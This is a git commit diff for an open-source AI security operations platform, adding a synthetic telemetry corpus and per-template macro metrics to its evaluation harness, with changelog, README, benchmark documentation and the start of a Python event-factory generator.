Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

feat(evals): synthetic telemetry corpus + per-template macro metrics (v1.4)

Beenu Arora2a24e1e12f67
diff --git a/.gitignore b/.gitignore
index 8fdbf1959..ec34fc2c4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -74,6 +74,9 @@ eval_mitre_accuracy_report.json
.gocache/
*.tsbuildinfo
+# Local progress tracking (per AGENTS.md preference, not committed)
+PROGRESS.md
+
# Detection-import upstream clones (populated by tools.detection_import)
.import-cache/
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 8c314056b..3c9b7d511 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -7,6 +7,101 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
+### Eval harness v1.4 — synthetic telemetry + per-template macros
+
+This pass addresses two questions raised on the public launch thread about
+the v5.2 eval harness:
+
+1. **"Any interest in shipping synthetic telemetry (M365 audit, CloudTrail,
+ Sysmon) backing each incident?"** — Yes. A companion
+ `synthetic_telemetry.jsonl` corpus is now generated alongside
+ `synthetic_incidents.json` and gives connector and Sigma PRs a concrete
+ contract to wire against without provisioning a real tenant.
+2. **"INC-EVAL-044, 099, and 154 are the same template with `{user}/{host}`
+ swapped — what does the multiplier buy vs. the dilution in regression
+ signal?"** — The multiplier still buys breadth for connector regressions,
+ but the eval suites now report a per-template macro alongside the
+ per-case mean so a single broken template (~4 cases) moves the regression
+ signal by ~1.8% rather than ~0.5%, and the failing template IDs are
+ surfaced inline.
+
+#### Added
+
+- **Synthetic telemetry corpus**
+ (`services/agents/tests/eval_data/synthetic_telemetry.jsonl`,
+ `scripts/generate_eval_incidents.py`) — 361 backing events spanning 14
+ log sources (Sysmon, Windows Security, M365 audit, Azure sign-in, Okta,
+ CloudTrail, Linux auditd, journald, EDR, firewall, DNS, VPN, DB audit,
+ IdP), wired to all 200 incidents. Each event is a templated dictionary
+ with `{user}/{host}/{ip}/{campaign}` placeholders resolved against the
+ incident it backs, and carries the fields a real connector pivots on
+ (process tree, principal, source IP, log source, event ID).
+- **Telemetry event factories + recursive resolver**
+ (`scripts/generate_eval_incidents.py`) — `_sysmon`, `_winsec`, `_m365`,
+ `_cloudtrail`, `_okta`, `_auditd`, `_journald`, etc. produce base event
+ shapes; a recursive resolver walks nested dicts and substitutes incident
+ context. The 55 templates in `_TEMPLATES` each now carry a
+ `template_id`, a `template_index`, and a tuple of telemetry events.
+- **Schema + coverage gate** (`services/agents/tests/test_synthetic_telemetry.py`)
+ — five new assertions: every incident has ≥ 1 backing event, every
+ expected source is present, every event carries the source-specific
+ pivot fields a real connector needs, all placeholders resolve, and no
+ single template dominates the source distribution.
+- **Per-template macros on every scoring suite**
+ (`services/agents/tests/test_mitre_accuracy.py`,
+ `test_investigation_completeness.py`, `test_response_quality.py`,
+ `scripts/run_evals.py`) — each result now carries a
+ `per_template_summary()` (mean, median, min, max, count, failing IDs)
+ alongside the per-case mean, plus a new test gating macro accuracy ≥
+ 0.80 for MITRE / completeness and ≥ 0.75 for response-plan quality. A
+ template-distribution-balance test asserts no single template accounts
+ for > 5% of incidents (currently 0.5–2.0% each).
+- **`run_evals.py` output expansion** — each suite headline now prints
+ the per-case mean *and* the per-template macro with the failing
+ template IDs inline; the human-readable summary appends a synthetic-
+ telemetry footer (event count, source count, incident coverage, file
+ path); `--json` output adds `per_template` and `telemetry` blocks.
+
+#### Changed
+
+- **Incident schema** — `synthetic_incidents.json` entries now include
+ `template_id` (e.g. `m365_admin_impersonation`) and `template_index`
+ fields. Existing fields are unchanged. Regenerated deterministically
+ from the seeded RNG.
+- **`apps/docs/docs/benchmark.md`** — added a "What's new (v1.4)"
+ section, a "Per-case vs. per-template metrics" section explaining the
+ ~0.5% vs ~1.8% sensitivity argument with worked examples, and a new
+ "Synthetic telemetry corpus" section documenting the 14 sources, the
+ pivot fields, the placeholder resolver, and the five schema/coverage
+ checks. The "Help us harden the harness" call-outs now include adding
+ a connector + Sigma rule against the corpus and adding a new template
+ with backing telemetry. The "What this is not" section is updated to
+ call out that the corpus is hand-shaped (not captured from a live
+ tenant) and that the per-template macro is the non-tautological signal
+ on top of the otherwise self-consistent gates.
+- **`README.md`** — capability bullet rewritten to call out five suites
+ (was four), 55 distinct templates, per-case + per-template macros, and
+ the synthetic-telemetry coverage gate. The comparison table flags the
+ eval harness as having a synthetic-telemetry corpus + per-template
+ macros. Step 5b (`Run the public eval harness`) documents the new
+ `python scripts/generate_eval_incidents.py` workflow for regenerating
+ the dataset and the corpus together.
+- **Eval signature on completeness + response-quality runs** — calls
+ from `run_evals.py` now use `keep_per_incident=True` so the per-
+ template summary is computable. Default behaviour unchanged for
+ existing direct callers.
+
+#### Why this matters
+
+The v5.2 harness gave deterministic numbers but two real concerns existed:
+duplicates could mask a broken template behind 199 working duplicates, and
+there was no concrete telemetry shape for connector contributors to wire
+against. v1.4 closes both: the per-template macro is the dilution-resistant
+regression signal that surfaces template-class breaks, and the synthetic
+telemetry corpus is the connector-development contract.
+
+---
+
### Honesty + scale pass (P0–P4 of the post-gimmick improvement plan)
This is a "fix the foundations" pass: tighten security defaults, drop
diff --git a/README.md b/README.md
index 486fb5a19..3fff03a93 100644
--- a/README.md
+++ b/README.md
@@ -26,7 +26,7 @@ AiSOC is a single self-hostable stack that ingests security events, correlates t
Three properties distinguish it from closed-source AI SOC vendors:
1. **Agent decisions are logged.** The Investigation Ledger stores the LLM prompt, the response, the evidence cited, and the downstream tool calls for every step of every run. Replays are available later.
-2. **The substrate has a public eval harness in CI.** Four suites gate every PR targeting `main` / `develop`: a 200-incident synthetic dataset drives the MITRE-tactic, investigation-completeness, and response-quality gates, and a separately generated 1,000-alert noisy stream drives the alert-reduction gate. Alert reduction is a real measurement against that fixed stream; the other three are substrate self-consistency gates over deterministic templates. The [benchmark page](apps/docs/docs/benchmark.md) explains exactly which is which.
+2. **The substrate has a public eval harness in CI.** Five suites gate every PR targeting `main` / `develop`: a 200-incident synthetic dataset drawn from 55 distinct templates drives the MITRE-tactic, investigation-completeness, and response-quality gates (each reporting both a per-case mean and a per-template macro so a single broken template can't hide behind 199 working duplicates); a separately generated 1,000-alert noisy stream drives the alert-reduction gate; and a schema/coverage gate validates `synthetic_telemetry.jsonl` — the companion corpus of ~360 backing events across 14 log sources (Sysmon, Windows Security, M365 audit, Azure sign-in, Okta, CloudTrail, Linux auditd, journald, EDR, firewall, DNS, VPN, DB audit, IdP) that connector and Sigma PRs can wire against. Alert reduction is a real measurement against the fixed alert stream; the three rubric-based suites are substrate self-consistency gates over deterministic templates. The [benchmark page](apps/docs/docs/benchmark.md) explains exactly which is which.
3. **It runs entirely on your infrastructure.** No callbacks to a vendor cloud and no data exfiltration for "model improvement."
The orchestrator is a ~600-line LangGraph in [`services/agents/`](services/agents/). It is small enough to read end-to-end, swap models in, and patch.
@@ -41,7 +41,7 @@ The orchestrator is a ~600-line LangGraph in [`services/agents/`](services/agent
| Self-hostable | yes | yes | enterprise-only | cloud-only |
| Autonomous AI investigation | LangGraph | no | partial (Splunk AI) | yes |
| Agent decision audit trail | public Investigation Ledger | n/a | n/a | not published |
-| Public substrate eval harness | CI-gated, reproducible | n/a | n/a | not published |
+| Public substrate eval harness | CI-gated, reproducible, with synthetic telemetry corpus + per-template macros | n/a | n/a | not published |
| Detection content | 800 native + 6,000+ imported (Sigma / Splunk / Chronicle / CAR) | 1,200+ rules | 1,000+ apps | curated |
| Plugin SDK | Python / TypeScript / Go | YAML rules only | apps | proprietary |
| Data residency | your infra | your infra | partial | vendor cloud |
@@ -474,19 +474,26 @@ If any check fails, the doctor tells you exactly what to fix before logging in.
#### 5b. Run the public eval harness (optional)
```bash
-# Run all four substrate eval suites against the bundled 200-incident
-# dataset and write a machine-readable report. The dataset size is fixed by
+# Run all five substrate eval suites against the bundled 200-incident
+# dataset (55 distinct templates) and its companion synthetic_telemetry.jsonl
+# corpus, then write a machine-readable report. The dataset size is fixed by
# services/agents/tests/eval_data/synthetic_incidents.json — there is no
# --count flag.
python scripts/run_evals.py --out eval_report.json
# Or run a single eval gate
pytest services/agents/tests/test_mitre_accuracy.py
+pytest services/agents/tests/test_synthetic_telemetry.py # schema + coverage gate
+
+# Regenerate the dataset and the backing telemetry corpus from scratch
+# (e.g. after adding a template). Both files are written deterministically
+# from a seeded RNG.
+python scripts/generate_eval_incidents.py
```
-The harness writes `eval_report.json` and `eval_mitre_accuracy_report.json`, which the [public eval harness page](apps/docs/docs/benchmark.md) renders. The same harness runs in CI on every PR targeting `main` / `develop` — see [`.github/workflows/ci.yml`](.github/workflows/ci.yml).
+The harness writes `eval_report.json` and `eval_mitre_accuracy_report.json`, which the [public eval harness page](apps/docs/docs/benchmark.md) renders. Each scoring suite reports both a per-case mean and a per-template macro across the 55 templates — the macro is the regression signal that doesn't dilute when the dataset is enlarged. The same harness runs in CI on every PR targeting `main` / `develop` — see [`.github/workflows/ci.yml`](.github/workflows/ci.yml).
-The harness runs deterministic substrate code (extractors, fusion, templates, judges) against synthetic data — it does not call the live LLM agent. Three of the four metrics are substrate self-consistency gates rather than agent accuracy scores. The [benchmark page](apps/docs/docs/benchmark.md) documents what each suite measures and what it does not.
+The harness runs deterministic substrate code (extractors, fusion, templates, judges) against synthetic data — it does not call the live LLM agent. Three of the four scoring metrics are substrate self-consistency gates rather than agent accuracy scores; the synthetic-telemetry suite is a schema/coverage gate, not a score. The [benchmark page](apps/docs/docs/benchmark.md) documents what each suite measures and what it does not.
#### 6. Open
@@ -563,8 +570,8 @@ AiSOC/
└── scripts/
├── aisoc-demo.ts # One-shot demo orchestrator (powers `pnpm aisoc:demo`)
├── aisoc-doctor.ts # Local health check
- ├── run_evals.py # Public eval harness
- ├── generate_eval_incidents.py # 200-incident synthetic generator
+ ├── run_evals.py # Public eval harness (per-case + per-template macros, telemetry coverage)
+ ├── generate_eval_incidents.py # 200-incident synthetic generator (55 templates) + synthetic_telemetry.jsonl
├── build_marketplace.py # Build marketplace/index.json from detections+playbooks+plugins
├── validate_detections.py # YAML schema validation for Sigma detections
├── validate_playbooks.py # YAML schema validation for playbooks
diff --git a/apps/docs/docs/benchmark.md b/apps/docs/docs/benchmark.md
index ebfaf1f31..58665af58 100644
--- a/apps/docs/docs/benchmark.md
+++ b/apps/docs/docs/benchmark.md
@@ -1,7 +1,7 @@
---
sidebar_position: 4
title: Public Eval Harness
-description: AiSOC's open, deterministic regression harness. 200 synthetic incidents, four CI gates over the substrate (extractors, fusion, templates, judges). Honest about what it measures — and what it doesn't.
+description: AiSOC's open, deterministic regression harness. 200 synthetic incidents drawn from 55 distinct templates with backing telemetry (Sysmon, M365, CloudTrail, Okta, Linux auditd, …). Per-case and per-template CI gates over the substrate. Honest about what it measures — and what it doesn't.
---
# AiSOC Public Eval Harness
@@ -16,6 +16,22 @@ description: AiSOC's open, deterministic regression harness. 200 synthetic incid
> judges that grade them. The dataset, the harness, and the CI gate are all in
> the repo. You can reproduce every number on this page in under 10 seconds on
> a laptop.
+>
+> **What's new (v1.4):**
+>
+> 1. Every synthetic incident now ships with a backing **synthetic telemetry
+> corpus** — Sysmon / Windows-Security / M365 audit / CloudTrail / Okta /
+> Azure sign-in / Linux auditd / journald / EDR / firewall / DNS / VPN / DB
+> audit events — written to
+> [`synthetic_telemetry.jsonl`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/eval_data/synthetic_telemetry.jsonl).
+> Connector and Sigma PRs now have something concrete to wire against. See
+> [Synthetic telemetry corpus](#5-synthetic-telemetry-corpus) below.
+> 2. Each of the substrate suites now reports a **per-template macro** alongside
+> the per-case mean. The 200-case dataset draws from 55 distinct templates,
+> so a single broken template moves the per-case headline by ~0.5 % but
+> moves the per-template macro by ~1.8 %. The macro is a stronger
+> regression signal that doesn't dilute when the dataset is enlarged. See
+> [Per-case vs. per-template metrics](#per-case-vs-per-template-metrics).
[![MITRE Accuracy](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fbeenuar%2FAiSOC%2Feval-results%2Feval%2Fresults%2Fbadge-mitre.json)](#latest-results)
[![Alert Reduction](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fbeenuar%2FAiSOC%2Feval-results%2Feval%2Fresults%2Fbadge-reduction.json)](#latest-results)
@@ -43,8 +59,8 @@ opposite approach: ship a small harness, label which metrics are real
measurements and which are substrate self-checks, and let anyone reproduce
the numbers.
-1. **The dataset is in the repo** — [`services/agents/tests/eval_data/synthetic_incidents.json`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/eval_data/synthetic_incidents.json), 200 cases, deterministic, regenerable. Three of the four suites use it; the alert-reduction suite uses a separately generated 1 000-alert stream produced by `generate_noisy_alert_stream` in the test file.
-2. **The harness is in the repo** — four pytest suites under [`services/agents/tests/`](https://github.com/beenuar/AiSOC/tree/main/services/agents/tests).
+1. **The dataset is in the repo** — [`services/agents/tests/eval_data/synthetic_incidents.json`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/eval_data/synthetic_incidents.json) (200 cases, deterministic, drawn from 55 distinct templates) plus its companion [`synthetic_telemetry.jsonl`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/eval_data/synthetic_telemetry.jsonl) (361 backing events across 14 log sources). Both are regenerable from `scripts/generate_eval_incidents.py`. Three of the four offline suites use the incident dataset; the alert-reduction suite uses a separately generated 1 000-alert stream produced by `generate_noisy_alert_stream` in the test file.
+2. **The harness is in the repo** — five pytest suites under [`services/agents/tests/`](https://github.com/beenuar/AiSOC/tree/main/services/agents/tests) (four scoring suites + a synthetic-telemetry schema/coverage gate).
3. **The CI gate runs on every PR targeting `main` / `develop`** — [latest run](https://github.com/beenuar/AiSOC/actions/workflows/ci.yml). (CI is currently scoped to those two branches; PRs to long-lived feature branches are not gated.)
4. **Historical numbers are queryable** — every successful build pushes its report (written by `scripts/run_evals.py --out`) to the [`eval-results`](https://github.com/beenuar/AiSOC/tree/eval-results) branch as `eval/results/<commit_sha>.json`.
@@ -57,16 +73,48 @@ generated 1 000-alert noisy stream. The whole run takes roughly 25 ms total
(no LLM calls, no DB) so it's cheap enough to gate every PR targeting `main`
or `develop`.
-| Suite | Metric | Latest | Target | What it checks |
-|--------------------------------|-----------------------|-----------|---------|----------------|
-| Alert reduction ratio | reduction | 75.3 % | ≥ 70 % | Real measurement of the 3-tier fusion logic on a noisy 1 000-alert stream |
-| MITRE ATT&CK tactic accuracy | accuracy | 97.0 % | ≥ 80 % | Substrate self-consistency — keyword extractor vs. dataset written for it |
-| Investigation completeness | mean keyword coverage | 94.3 % | ≥ 85 % | Substrate self-consistency — report template wraps the description; judge finds keywords from the description |
-| Response-plan quality | mean rubric score | 1.000 | ≥ 0.80 | Substrate self-consistency — synthesizer embeds the keywords the rubric checks for |
+| Suite | Metric | Per-case | Per-template macro | Target | What it checks |
+|--------------------------------|-------------------------|------------|------------------------|---------|----------------|
+| Alert reduction ratio | reduction | 75.3 % | _n/a_ | ≥ 70 % | Real measurement of the 3-tier fusion logic on a noisy 1 000-alert stream |
+| MITRE ATT&CK tactic accuracy | accuracy | 97.0 % | 96.4 % (n=55) | ≥ 80 % | Substrate self-consistency — keyword extractor vs. dataset written for it |
+| Investigation completeness | mean keyword coverage | 94.2 % | 94.3 % (n=55) | ≥ 85 % | Substrate self-consistency — report template wraps the description; judge finds keywords from the description |
+| Response-plan quality | mean rubric score | 1.000 | 1.000 (n=55) | ≥ 0.80 | Substrate self-consistency — synthesizer embeds the keywords the rubric checks for |
+
+> The synthetic telemetry suite is a **schema/coverage gate**, not a scoring
+> suite, so it does not appear in the table. It checks that every incident has
+> ≥ 1 backing event, that all `{user}/{host}/{ip}/{campaign}` placeholders
+> resolve, that every event carries the fields a real connector pivots on,
+> and that the source distribution is not concentrated on a single template.
+> It currently passes against 361 events spanning 14 distinct log sources
+> wired to all 200 incidents.
These numbers move with the codebase. The current snapshot lives at
[`eval-results/eval/results/latest.json`](https://github.com/beenuar/AiSOC/blob/eval-results/eval/results/latest.json).
+### Per-case vs. per-template metrics
+
+The 200-case dataset is built by drawing each case from one of **55 distinct
+templates** (Sysmon process-injection, M365 admin-impersonation, CloudTrail
+GuardDuty findings, Okta MFA-bombing, Linux auditd reverse-shell, …) and
+swapping the `{user}/{host}/{ip}/{campaign}` slot in each one. That gives the
+substrate a wider blast radius to regress against without inflating the
+generator. Two metrics are reported for every scoring suite:
+
+- **Per-case mean** — the headline number, weighted across all 200 incidents.
+ Closest to "how often does the substrate get an answer right".
+- **Per-template macro** — the unweighted mean across the 55 distinct
+ templates. A single broken template (≈ 4 cases) moves the per-case mean by
+ only ~0.5 % but moves the per-template macro by ~1.8 %. This is the
+ dilution-resistant signal that catches template-class regressions.
+
+Both gates have to pass for CI to be green. The harness output prints the
+per-template macro under each suite headline, plus the IDs of any individual
+templates that fall below the per-template floor (those are surfaced as
+information, not as failures, as long as the macro stays above the gate).
+This addresses a fair concern raised on the launch thread that 200 cases
+cycled from 55 templates can hide regressions behind the duplicates: the
+macro is exactly the metric that surfaces them.
+
## Reproduce these numbers
You don't have to take our word for it. From a fresh clone:
@@ -79,17 +127,34 @@ python3 scripts/run_evals.py
That's it. No Docker, no API key, no GPU, no LLM. Expected output:
```text
-============================================================================
+==============================================================================
AiSOC Pillar-1 Eval - 200-incident synthetic benchmark
-============================================================================
- [PASS] mitre_accuracy accuracy 0.970 (target >= 0.80)
- [PASS] alert_reduction reduction_ratio 0.753 (target >= 0.70)
- [PASS] investigation_completeness mean_keyword_coverage 0.943 (target >= 0.85)
- [PASS] response_quality mean_rubric_score 1.000 (target >= 0.80)
-============================================================================
+==============================================================================
+ [PASS] mitre_accuracy accuracy 0.970 (target >= 0.80)
+ per-template macro 0.964 (target >= 0.80, n=55 templates) [PASS]
+ [PASS] alert_reduction reduction_ratio 0.753 (target >= 0.70)
+ [PASS] investigation_completeness mean_keyword_coverage 0.942 (target >= 0.85)
+ per-template macro 0.943 (target >= 0.80, n=55 templates) [PASS]
+ [PASS] response_quality mean_rubric_score 1.000 (target >= 0.80)
+ per-template macro 1.000 (target >= 0.75, n=55 templates) [PASS]
+------------------------------------------------------------------------------
+ Synthetic telemetry: 361 events across 14 sources,
+ 200 incidents wired up
+ (services/agents/tests/eval_data/synthetic_telemetry.jsonl)
+==============================================================================
ALL GATES PASSED
```
+To regenerate the dataset and its backing telemetry from scratch (e.g. after
+adding a template):
+
+```bash
+python3 scripts/generate_eval_incidents.py
+```
+
+That writes `services/agents/tests/eval_data/synthetic_incidents.json` and
+the companion `synthetic_telemetry.jsonl` deterministically (seeded RNG).
+
For machine-readable output (CI/dashboards):
```bash
@@ -193,6 +258,67 @@ This catches a broken templating pipeline (e.g. someone removes the MITRE
references from the synthesizer, or the rubric stops matching) — it is
**not** a grade of LLM-written response plans.
+### 5. Synthetic telemetry corpus — `Schema and coverage gate`
+
+**Source:** [`services/agents/tests/test_synthetic_telemetry.py`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/test_synthetic_telemetry.py)
+· **Output:** [`synthetic_telemetry.jsonl`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/eval_data/synthetic_telemetry.jsonl)
+
+Every synthetic incident now ships with at least one backing telemetry event
+written to a companion JSONL file. This addresses a real ask from the
+community: connector and Sigma rule PRs need concrete events to wire against
+without having to make up their own. The corpus currently covers 14 sources:
+
+| Source | What it represents | Common pivot fields |
+|-----------------------|-------------------------------------------------------------------|------------------------------------------------|
+| `sysmon` | Windows process / network / image-load events (EID 1, 3, 7, 11) | `Computer`, `User`, `Image`, `CommandLine` |
+| `windows_security` | Windows Security log (logon, privilege use, account changes) | `Computer`, `TargetUserName`, `EventID` |
+| `m365_audit` | Microsoft 365 unified audit log | `UserId`, `Operation`, `Workload`, `ClientIP` |
+| `azure_signin` | Azure AD / Entra sign-in log | `userPrincipalName`, `appDisplayName`, `ipAddress` |
+| `okta` | Okta system log | `actor.alternateId`, `eventType`, `outcome` |
+| `cloudtrail` | AWS CloudTrail management events | `eventName`, `userIdentity`, `sourceIPAddress` |
+| `linux_auditd` | Linux auditd records (execve, syscall) | `host`, `auid`, `exe`, `proctitle` |
+| `linux_journald` | Linux journald / syslog | `_HOSTNAME`, `MESSAGE`, `SYSLOG_IDENTIFIER` |
+| `edr` | Generic EDR detection (CrowdStrike / SentinelOne shape) | `device.hostname`, `process.command_line` |
+| `firewall` | Perimeter firewall (deny / allow / threat) | `src_ip`, `dst_ip`, `action`, `rule` |
+| `dns` | DNS resolver / sinkhole | `query`, `client_ip`, `response_code` |
+| `vpn` | VPN concentrator (auth and tunnel events) | `username`, `client_ip`, `assigned_ip` |
+| `db_audit` | Database audit trail (Postgres / Oracle / SQL Server shapes) | `db_user`, `client_host`, `statement` |
+| `idp` | Generic IdP / federated auth | `actor`, `event`, `target` |
+
+Each event has its `{user}/{host}/{ip}/{campaign}` placeholders resolved
+against the parent incident, so an event for `INC-EVAL-044` carries the same
+user and host as the incident itself.
+
+The schema/coverage gate ([`test_synthetic_telemetry.py`](https://github.com/beenuar/AiSOC/blob/main/services/agents/tests/test_synthetic_telemetry.py))
+checks five things on every CI run:
+
+1. **No unresolved placeholders** — every event survives a recursive walk
+ without finding a stray `{...}` slot.
+2. **Per-source required fields** — for each declared source, the fields a
+ real connector pivots on are present and non-empty.
+3. **Coverage** — every incident in `synthetic_incidents.json` has ≥ 1 backing
+ event in the JSONL corpus.
+4. **Source diversity** — at least 12 distinct sources appear across the
+ corpus (we currently ship 14).
+5. **No single-template concentration** — no one template accounts for more
+ than 5 % of the events, which keeps the corpus useful for connector
+ regressions instead of being dominated by one scenario.
+
+This is **not** a scoring suite. It does not gate detection accuracy or
+agent quality — it gates "did the synthetic substrate produce something an
+external connector or Sigma rule can be run against." A failing
+synthetic-telemetry test means a template stopped emitting events of the
+shape it promised, not that the agent got worse.
+
+If you are landing a new connector, point it at this file:
+
+```bash
+head -n 5 services/agents/tests/eval_data/synthetic_telemetry.jsonl
+```
+
+Each line is a self-contained event with `incident_id`, `template_id`,
+`source`, and the event payload. Filter by `source` to focus your tests.
+
## Comparison to other AI SOC offerings
| Capability | AiSOC | Wazuh | Splunk | Closed-source AI SOC |
@@ -219,13 +345,22 @@ A few caveats:
orchestrator that talks to OpenAI or Anthropic is not under test here. A
separate online eval (LLM-as-judge, real orchestrator) is on the roadmap and
will run nightly. That is where actual agent accuracy gets measured.
-- **The dataset is synthetic.** 200 incidents is enough to flag major
- regressions but not enough to claim production parity. Federated, opt-in
- real-customer evaluation is on the roadmap.
-- **Three of the four judges are tautological by design.** The dataset, the
- templates, and the judge were written together to keep the gate fast and
+- **The dataset is synthetic.** 200 incidents drawn from 55 templates is
+ enough to flag major regressions and to give connector PRs concrete events
+ to wire against, but it is not enough to claim production parity.
+ Federated, opt-in real-customer evaluation is on the roadmap.
+- **The synthetic telemetry corpus is hand-shaped, not captured from a live
+ tenant.** It models the structure that real connectors pivot on (process
+ tree, principal, source IP, log source) but is not a substitute for
+ capturing real M365 / CloudTrail / Sysmon events from a production
+ environment. Treat it as a contract for connector development, not as a
+ red-team dataset.
+- **Three of the four scoring judges are tautological by design.** The dataset,
+ the templates, and the judge were written together to keep the gate fast and
deterministic. They will pass as long as the substrate is internally
- consistent. They will fail if it is not.
+ consistent. They will fail if it is not. The per-template macro adds a
+ non-tautological dimension on top: a single broken template stops being
+ hidden behind 199 working duplicates.
- **"Public eval harness" means this harness, not a third-party leaderboard.**
These numbers are reproducible by anyone with `python3`. They are not
comparable to MITRE Engenuity, MLPerf, or any other external evaluator.
@@ -252,8 +387,20 @@ Pull requests welcome. The fastest ways to make this harness honestly stronger:
`ANTHROPIC_API_KEY` through the harness so the report and response judges run
against actual LLM output instead of the templated synthesizer. That is what
turns this page into a real agent benchmark.
-- **Find a tactic the keyword extractor misses.** Add a fixture incident, watch
- the MITRE accuracy ticker move, fix the extractor.
+- **Add a connector and a Sigma rule against the synthetic telemetry corpus.**
+ Pick a source from `synthetic_telemetry.jsonl` (e.g. `m365_audit` or
+ `cloudtrail`), wire a connector that ingests events of that shape into the
+ fusion service, and land a Sigma rule that fires on the events backing the
+ matching `INC-EVAL-*` cases. The corpus is exactly the contract you can
+ develop against without provisioning a real tenant.
+- **Add a new template with backing telemetry.** Drop a new entry into
+ `_TEMPLATES` in [`scripts/generate_eval_incidents.py`](https://github.com/beenuar/AiSOC/blob/main/scripts/generate_eval_incidents.py)
+ with a unique `template_id` and a tuple of telemetry events. Re-run the
+ generator and the per-template gate will keep us honest about whether the
+ substrate handles the new class.
+- **Find a template the keyword extractor misses.** Watch the per-template MITRE
+ macro under each suite — if it dips, the failing-templates list is printed
+ inline. Fixtures for those cases land as a single PR against the extractor.
- **Find a fusion miss.** Add a contrived alert pattern that should de-dupe but
doesn't. The reduction-ratio gate will block the regression.
- **Tighten the report and plan rubrics.** The completeness and quality suites
diff --git a/scripts/generate_eval_incidents.py b/scripts/generate_eval_incidents.py
index 560e7aa6d..d475cc2e2 100644
--- a/scripts/generate_eval_incidents.py
+++ b/scripts/generate_eval_incidents.py
@@ -4,25 +4,54 @@ AiSOC eval-harness incident generator.
=======================================
Produces a deterministic JSON dataset of N synthetic SOC incidents for the
-Phase-1 eval harness. Each entry covers:
-
-- title (one-line summary)
-- description (multi-sentence narrative — what the keyword extractor sees)
-- expected_tactics (MITRE ATT&CK tactic IDs, e.g. ["TA0006", "TA0008"])
-- expected_techniques (MITRE technique IDs, e.g. ["T1110.001"])
-- severity ("critical" | "high" | "medium" | "low")
-- response_class (containment family — "isolate_host", "disable_account",
- "block_indicator", "rollback_change", "escalate", "monitor")
-- evidence_keywords (atomic evidence items the report should cite to be
- considered "complete")
+public eval harness, plus a parallel JSONL file of synthetic telemetry events
+that back each incident (Sysmon, M365 audit, CloudTrail, Azure AD, EDR,
+auditd/journald, DNS, web access, k8s audit, GitHub audit, VPN, DB audit).
+
+Each incident JSON entry contains:
+
+- id ("INC-EVAL-001" .. "INC-EVAL-NNN")
+- template_id stable slug identifying the source template
+- template_index 0-based template position (0..len(TEMPLATES)-1)
+- title, description one-line summary + multi-sentence narrative
+- expected_tactics MITRE ATT&CK tactic IDs (e.g. ["TA0006", "TA0008"])
+- expected_techniques MITRE technique IDs (e.g. ["T1110.001"])
+- severity "critical" | "high" | "medium" | "low"
+- response_class containment family (isolate_host, disable_account,
+ block_indicator, rollback_change, escalate, monitor)
+- evidence_keywords atomic evidence items the report should cite
+- telemetry list of resolved synthetic event dicts (source-tagged)
+
+The companion JSONL file (`synthetic_telemetry.jsonl`) emits one event per
+line, each annotated with `incident_id`, `template_id`, and `event_index`,
+which is what connector / detection / Sigma authors should wire against.
Usage
-----
python3 scripts/generate_eval_incidents.py [--count 200] [--out PATH]
+ [--telemetry-out PATH]
+ [--coverage]
-The output is fully deterministic given the same `--count` and template
-data — re-running produces byte-identical JSON. Commit the JSON; the
-generator is preserved for reviewability and future expansion.
+The output is fully deterministic given the same `--count` and the template /
+telemetry data — re-running produces byte-identical files. Both artefacts are
+checked into the repo; the generator is preserved for reviewability and
+future expansion.
+
+Design notes
+------------
+- Per Tim Michaud's feedback (P25, Nov 2026): the substrate has no per-host
+ code paths, so cycling 55 templates 3-4× would dilute regression signal
+ (one broken template = ~0.5% per-case loss but ~1.8% per-template loss).
+ We keep the placeholder variations (they exercise the tactic extractor's
+ word-boundary handling and look like realistic SOC fan-out), but expose
+ `template_id` so the eval harness reports BOTH per-case and per-template
+ metrics. See `apps/docs/docs/benchmark.md`.
+- Synthetic telemetry events live alongside the narrative description so that
+ connector PRs and Sigma rules have something concrete to wire against.
+ Field shapes follow the canonical schema for each source (Sysmon EventIDs,
+ Microsoft 365 Unified Audit Log Operations, CloudTrail Records, Azure AD
+ signInLogs, etc.) — exact enough to write detections against, generic
+ enough that we don't pretend to be a full data generator.
"""
from __future__ import annotations
@@ -65,13 +94,174 @@ CAMPAIGNS = [
]
# ---------------------------------------------------------------------------
-# Template definitions — each template covers a tactic+technique pair
-# Using structured templates lets us generate diverse, realistic narratives
-# while keeping the dataset deterministic.
+# Telemetry event factories
+#
+# Each helper returns a `dict[str, Any]` whose `source` field tags the data
+# source and whose remaining fields use the canonical naming convention for
+# that source so detection authors can wire Sigma / KQL / SPL rules straight
+# at them. Placeholders ({host}, {user}, {ip}, ...) are left in place and
+# resolved per-incident by the recursive resolver further down.
+# ---------------------------------------------------------------------------
+
+
+def _sysmon(event_id: int, **fields: Any) -> dict[str, Any]:
+ """Sysmon for Windows event (Microsoft-Windows-Sysmon/Operational)."""
+ return {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": event_id,
+ **fields,
+ }
+
+
+def _winsec(event_id: int, **fields: Any) -> dict[str, Any]:
+ """Windows Security event log (4624, 4688, 4720, etc.)."""
+ return {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": event_id,
+ **fields,
+ }
+
+
+def _m365(operation: str, workload: str = "Exchange", **fields: Any) -> dict[str, Any]:
+ """Microsoft 365 Unified Audit Log row (Audit.Exchange / AAD / SharePoint)."""
+ return {
+ "source": "m365_audit",
+ "Workload": workload,
+ "Operation": operation,
+ **fields,
+ }
+
+
+def _azure_signin(**fields: Any) -> dict[str, Any]:
+ """Azure AD sign-in log (signInLogs)."""
+ return {
+ "source": "azure_signin",
+ "category": "SignInLogs",
